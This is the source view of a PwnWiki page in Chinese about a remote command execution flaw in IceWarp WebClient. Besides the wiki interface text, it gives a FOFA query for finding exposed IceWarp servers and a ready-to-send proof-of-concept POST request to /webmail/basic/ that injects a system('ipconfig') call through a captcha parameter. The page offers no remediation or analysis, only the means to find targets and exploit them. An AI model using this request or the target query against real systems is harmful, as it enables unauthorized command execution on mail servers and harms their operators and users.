View source for IceWarp WebClient basic 遠程命令執行漏洞

From PwnWiki

← IceWarp WebClient basic 遠程命令執行漏洞

You do not have permission to edit this page, for the following reasons:

The action you have requested is limited to users in the group: Users.
You must confirm your email address before editing pages. Please set and validate your email address through your user preferences.

You can view and copy the source of this page.

<languages />
<translate>
==漏洞影響== <!--T:1-->
</translate>
IceWarp WebClient

==FOFA==
<pre>
app="IceWarp-公司产品"
</pre>

==POC==
<pre>
POST /webmail/basic/ HTTP/1.1
Host: x.x.x.x
Content-Type: application/x-www-form-urlencoded
Cookie: use_cookies=1
Content-Length: 43
_dlg[captcha][target]=system(\'ipconfig\')\
</pre>

Return to IceWarp WebClient basic 遠程命令執行漏洞.

Retrieved from "https://pwnwiki.com/index.php?title=IceWarp_WebClient_basic_遠程命令執行漏洞"